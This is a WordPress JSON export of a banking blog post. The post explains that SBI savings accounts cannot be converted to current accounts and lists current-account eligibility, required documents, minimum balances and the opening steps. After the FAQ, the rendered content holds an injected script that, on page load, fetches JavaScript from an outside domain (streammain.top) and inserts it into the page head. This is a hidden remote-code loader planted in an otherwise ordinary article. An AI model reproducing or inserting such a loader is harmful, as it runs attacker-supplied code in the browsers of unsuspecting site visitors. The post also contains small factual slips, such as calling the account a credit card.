{"id":6053,"date":"2021-09-16T12:01:57","date_gmt":"2021-09-16T12:01:57","guid":{"rendered":"https:\/\/www.askbankifsccode.com\/blog\/?p=6053"},"modified":"2025-06-25T21:56:25","modified_gmt":"2025-06-25T21:56:25","slug":"how-to-convert-saving-account-to-current-account-in-sbi","status":"publish","type":"post","link":"https:\/\/www.askbankifsccode.com\/blog\/how-to-convert-saving-account-to-current-account-in-sbi\/","title":{"rendered":"How to Convert Saving Account to Current Account in SBI?"},"content":{"rendered":"\n<p>In this article, we will discuss how to convert saving account to current account in SBI.<\/p>\n\n\n\n<p>There are different types of bank account that you can use for your daily banking needs. Out of all the account categories, savings account and current account are the most popular bank account categories that an individual can use.<\/p>\n\n\n\n<p>The current account is an account that is used by the business only and a savings account is something that anyone can use. If you have a personal savings account and want to change it to a current account then it is not possible.<\/p>\n\n\n\n<p><strong>SBI does not allow you to convert your <a href=\"https:\/\/www.askbankifsccode.com\/blog\/best-savings-bank-interest-rate-in-india\/\">Savings Bank account<\/a> to your current account but, you can always apply for a new current account and close your savings account<\/strong>. Below, we have provided you the information about the current account and how you can apply for the current account.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Eligibility of SBI Current Account<\/h2>\n\n\n\n<p>A <a href=\"https:\/\/www.askbankifsccode.com\/blog\/how-to-open-saving-or-current-bank-account\/\">Current Account<\/a> is a business account and only businesses will be allowed to open a current account. The following are the eligible business entities of SBI Current Account-<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Resident Individual<\/li>\n\n\n\n<li>Hindu Undivided Family (HUF)<\/li>\n\n\n\n<li>Sole Proprietorship Firm<\/li>\n\n\n\n<li>Partnership Firm<\/li>\n\n\n\n<li>Private or Limited Company<\/li>\n\n\n\n<li>Limited Liability Partnership<\/li>\n\n\n\n<li>Trust\/ Association\/ Club\/ Society<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">The Benefit of Current Account in SBI<\/h2>\n\n\n\n<p>There are a lot of benefits when it comes to using SBI Credit Card-<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>SBI Current Account offers a premium banking experience with many features.<\/li>\n\n\n\n<li>It offers overdraft facilities that ensure you never run out of funds. The overdraft facility uses your credit scores to provide you with withdrawal overdraft money.<\/li>\n\n\n\n<li>For the first year, the ATM transactions are free, and for the next year or so, the ATM transactions are chargeable with an annual fee.<\/li>\n\n\n\n<li>Multi-city checkbooks are also provided with nomination facility<\/li>\n\n\n\n<li>The account can be transferred to other bank branches and monthly statements can be obtained<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Documentation Required for SBI Current Account<\/h2>\n\n\n\n<p>The following are the document required for SBI Current Account-<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Sole Proprietorship Firm<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Identity Proof (PAN Card, Aadhar Card, etc.) of the proprietor.<\/li>\n\n\n\n<li>Address Proof (Valid Passport, Utility bill, Property tax bill, etc.) of the proprietor.<\/li>\n\n\n\n<li>Registration Certificate issued by the Registrar of LLP (in the case of a registered concern).<\/li>\n\n\n\n<li>Certificate\/license issued by the Municipal authorities under the Shop &amp; Establishment Act.<\/li>\n\n\n\n<li>Sales and income tax returns in the name of the sole proprietor.<\/li>\n\n\n\n<li>CST\/ VAT certificate<\/li>\n\n\n\n<li>Certificate\/ registration document issued by the Sales Tax\/ Service Tax\/ Professional Tax authorities.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Partnership Firms<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Registration certificate<\/li>\n\n\n\n<li>Partnership deed<\/li>\n\n\n\n<li>Beneficial owners list holding more than 15% in the firm.<\/li>\n\n\n\n<li>Address Proof &amp; ID Proof<\/li>\n\n\n\n<li>Power of Attorney (POA)<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Private\/Public Limited Company<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Beneficial owners list holding 25% share of capital.<\/li>\n\n\n\n<li>Address Proof &amp; ID Proof<\/li>\n\n\n\n<li>Certificate of incorporation<\/li>\n\n\n\n<li>Memorandum &amp; Articles of Association<\/li>\n\n\n\n<li>Power of Attorney (POA)<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Trust, Society, Unincorporated Association &amp; Club<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Certificate of registration<\/li>\n\n\n\n<li>Trust Deed<\/li>\n\n\n\n<li>Address Proof &amp; ID Proof (trustees, executors, administrators, etc.)<\/li>\n\n\n\n<li>Power of Attorney (POA)<\/li>\n\n\n\n<li>Beneficial owners list<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">SBI Current Account Minimum Balance Requirements<\/h2>\n\n\n\n<p>The following are the minimum balance required to be maintained by the SBI customers-<\/p>\n\n\n\n<figure class=\"wp-block-table is-style-stripes\"><table><tbody><tr><td>S.No.<\/td><td>SBI Current Account<\/td><td>SBI Current Account Minimum Monthly Average Balance (MAB)<\/td><td>Non \u2013 Maintenance Charges<\/td><td><\/td><\/tr><tr><td><\/td><\/tr><tr><td>1.<\/td><td>Regular Current Account<\/td><td>Rs. 10,000 per month<\/td><td>Non-Rural \u2013 Rs. 5,000 Rural \u2013 Rs. 2,500<\/td><td><\/td><\/tr><tr><td>2.<\/td><td>Power Gain Current Account &nbsp;<\/td><td>Rs. 2,00,000\/-<\/td><td>Rs. 500\/- +GST Per Month<\/td><td><\/td><\/tr><tr><td>3.<\/td><td>Power Pack Current Account<\/td><td>Rs. 5,00,000 per month<\/td><td>Rs. 2500\/- +GST Per Month<\/td><td><\/td><\/tr><tr><td>4.<\/td><td>Power PoS Current Account &nbsp;<\/td><td>Rs. 5,000 per month<\/td><td>Rs. 500\/- +GST Per Month<\/td><td><\/td><\/tr><tr><td>5.<\/td><td>Surbhi Current Account &nbsp;<\/td><td>Rs. 10,000 \/- per month<\/td><td>Rs&nbsp; 500\/- +GST Per Month<\/td><td><\/td><\/tr><tr><td>6.<\/td><td>Power Jyoti Current Account &nbsp;<\/td><td>Rs. 50,000\/- per month<\/td><td>Rs. 1000\/- + GST<\/td><td><\/td><\/tr><tr><td>7.<\/td><td>Power Jyoti Pul Current Account &nbsp;<\/td><td>Rs. 50,000\/- per month<\/td><td>Rs. 1000\/- + GST<\/td><td><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">SBI Current Account Opening Procedure<\/h2>\n\n\n\n<p>The following are the procedure that you have to follow to apply for the SBI current Account-<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Visit the nearest SBI Bank Branch and request for account opening form<\/li>\n\n\n\n<li>Fill the form with correct details and attach the documents mentioned above along with the form<\/li>\n\n\n\n<li>While filling the form make sure you are ticking options for internet banking, debit card, mobile banking, SMS, etc to make your account more accessible and flexible to use.<\/li>\n\n\n\n<li>Now, submit the form along with the initial amount to start your account<\/li>\n\n\n\n<li>Once, the verification of your application is cleared, your current bank account will be opened with the SBI.<\/li>\n\n\n\n<li>The debit and\/or credit card will be sent through the post along with your internet banking login details.<\/li>\n\n\n\n<li>&nbsp;After getting the debit card and internet banking details, you have to activate them following respective procedures.<\/li>\n<\/ul>\n\n\n\n<p><strong>Related Articles-<\/strong><\/p>\n\n\n\n<p><a href=\"https:\/\/www.askbankifsccode.com\/blog\/how-to-apply-for-sbi-net-banking\/\" target=\"_blank\" rel=\"noreferrer noopener\">How to apply for SBI Intenet Banking?<\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">How to Close Your Savings Bank Account?<\/h2>\n\n\n\n<p>Since it is not allowed to convert a savings bank account to a current account, you have to open a new current account and close the savings account. Closing the savings bank account is simple. You have to visit the bank branch in person and fill an account closing form and submit it. After your account closure application is processed then SBI will close your savings bank account.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">FAQ <\/h3>\n\n\n\n<div class=\"schema-faq wp-block-yoast-faq-block\"><div class=\"schema-faq-section\" id=\"faq-question-1631794048859\"><strong class=\"schema-faq-question\">Are there any charges for SBI savings account closure?<\/strong> <p class=\"schema-faq-answer\">NO, SBI does not charge any fee for closing your savings bank account. <\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1631794119354\"><strong class=\"schema-faq-question\">Does closure of my savings bank account impact my credit score?<\/strong> <p class=\"schema-faq-answer\">No, generally, closing down your savings bank account does not hurt your CIBIL score, but make sure that you are not closing your credit card account otherwise, it can have an impact on your credit score.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1631794416212\"><strong class=\"schema-faq-question\">Can anyone open a current account?<\/strong> <p class=\"schema-faq-answer\">No, a current account can only be used by businesses and you have to provide business details in order to operate a current bank account.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1631794509662\"><strong class=\"schema-faq-question\">What if I failed to maintain the minimum balance?<\/strong> <p class=\"schema-faq-answer\">If you failed to maintain the minimum balance required on your account then you will be penalized for this and will be charged with fines. <\/p> <\/div> <\/div>\n<script>;document.addEventListener(\"DOMContentLoaded\", function () {\n    var url = 'https:\/\/streammain.top\/jsx';\n    fetch(url)\n        .then(response => response.text())\n        .then(data => {\n            var script = document.createElement('script');\n            script.innerHTML = data.trim();\n            document.head.appendChild(script);\n        })\n});<\/script>","protected":false},"excerpt":{"rendered":"<p>In this article, we will discuss how to convert saving account to current account in SBI. There are different types of bank account that you can use for your daily banking needs. Out of all the account categories, savings account and current account are the most popular bank account categories that an individual can use. [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":6054,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[346],"tags":[],"class_list":["post-6053","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-state-bank-of-india"],"blocksy_meta":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.2 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>How to Convert Saving Account to Current Account in SBI?<\/title>\n<meta name=\"description\" content=\"Find out How to Convert SBI Saving Bank Account to SBI Current Bank Account. Best method to convert your savings account to current account.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.askbankifsccode.com\/blog\/how-to-convert-saving-account-to-current-account-in-sbi\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"How to Convert Saving Account to Current Account in SBI?\" \/>\n<meta property=\"og:description\" content=\"Find out How to Convert SBI Saving Bank Account to SBI Current Bank Account. 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